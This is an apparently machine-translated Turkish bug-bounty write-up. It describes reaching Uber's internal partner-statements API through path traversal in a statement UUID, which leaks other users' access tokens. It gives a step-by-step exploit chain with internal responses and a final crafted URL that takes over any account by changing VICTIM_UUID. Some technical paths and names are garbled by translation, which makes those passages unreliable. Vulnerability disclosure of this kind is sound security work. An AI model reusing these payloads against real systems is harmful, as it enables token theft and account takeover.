Uber, bir dizi mikro hizmet üzerine kurulmuştur; doğal olarak, mikro hizmetle etkileşimde bulunmak istiyorsanız, bunu yapmak için bazı REST api’lerini kullanmak isteyebilirsiniz. Diyelim ki sürücünün geçmiş seyahat geçmişini almak istiyorsunuz, şöyle görünen bir API çağırıyorsunuz:
https://localhost:1234/partner/PARTNER_UUID/trips?from=2018-01-01&to=2019-01-01
Açıkçası bunların hepsi arka uçta gerçekleştirilir, çünkü genellikle dahili mikro hizmetlerin IDOR saldırısını önlemek için herhangi bir izin kontrolü veya başka bir güvenlik önlemi yoktur. Tüm bu API çağrılarının önceden tanımlanmış yol/değişkenler/ana bilgisayar olup olmadığını yetkilendirme kontrolünü uygulamanın amacı nedir? Kullanıcılar zaten aramayı kontrol edemiyor, neden rahatsız oluyorsunuz?
Bu yalnızca kullanıcı API çağrısını gerçekten kontrol edemediğinde geçerlidir; 2018’in başlarında, partner.uber.com’da aylık sürücü beyanını almak için şunun gibi görünen ilginç bir uç nokta buldum.
https://partners.uber.com/p3/money/statements/view/current
Bu çağrının kendisinin yararlı hiçbir şeyi yok ama yanıt gerçekten ilgilenmemin nedeni
{
"request": {
"uri": {
"protocol": "http:",
"slashes": true,
"auth": null,
"host": "127.0.0.1:123",
"port": "123",
"hostname": "127.0.0.1",
"hash": null,
"search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
"query": "earnings_structure_type=&locale=en&user_id=xxxxx",
"pathname": "/v1/partners/xxxxx/statements/current",
"path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
"href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
},
"token":"ACCESS_TOKEN_OF_USER",
....
API çağrısının alındığı açıktır akım içinde https://partners.uber.com/p3/money/statements/view/currentve al akım ve sonuna ekleyin /v1/ortaklarımız/xxxxxx/ifadeler/Yanıtın önerdiği gibi. Ayrıca aramaya sorgu kısmı da eklenir. Tam dahili GET isteği şuna benzer:
http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx
Yanıttaki iki gözlem nedeniyle bu çok ilginç; ilki, uber kullanıcınızın erişim belirtecine sahip olması ve bunun neden ilginç olduğunu biliyoruz.
İkincisi, istekte x-auth-başlığı veya yetkilendirme üstbilgisi bulunmamasına rağmen yine de yanıt olarak kullanıcının erişim belirtecini döndürüyor! Bu, istek değişikliğini bir şekilde manipüle edebilirsek anlamına gelir my_user_uuid ile kurban_uuid talepte. Daha sonra yanıttan erişim belirtecini alarak kurbanın hesabını ele geçirebiliriz.
Aşağıdaki şeyleri yapmamı sağlayacak bir uç nokta bulmam gerekiyor
- Herhangi bir parametreyi bu dahili GET isteğine iletin
- Arkasındaki gereksiz sorgulardan kurtulmak için kodlanmış karakteri dahili GET isteğine iletin (
%23
yani#
sorgu kısmını bozabilir) - Yanıtın tamamını görüntüle
Görünüşe göre çok benzer bir istek tüm bunları yapmama izin verdi
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa
Response of the GET request
"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_uuid=4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa&user_id=your_user_id"
Sanırım ifade uuid 4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa hem yol hem de sorgu kısmı için dahili API GET isteğine iletilir. Bu isteği göndererek bunu doğruladım
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa
Ve yanıt hala aynı, bu ../’nin yoldan kaçmak için yararlı olduğunu kanıtlıyor! Dolayısıyla bundan sonra ne yapmamız gerektiği açık. Kökten sonuna kadar kaçın, ardından yanıt olarak erişim belirtecini döndürecek olana benzer bir istek oluşturun ve gereksiz kısmı kullanarak iptal edin. #
Aramak istediğimiz hedef istek
http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid
Kontrolümüz altında olan talep
http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=your_user_id
Ve bu aklıma gelen son çağrı
https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23
Yanıt tam beklendiği gibi
http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#......
Artık istekteki VICTIM_UUID değerini değiştirerek herhangi bir kullanıcının erişim belirtecini alabiliriz.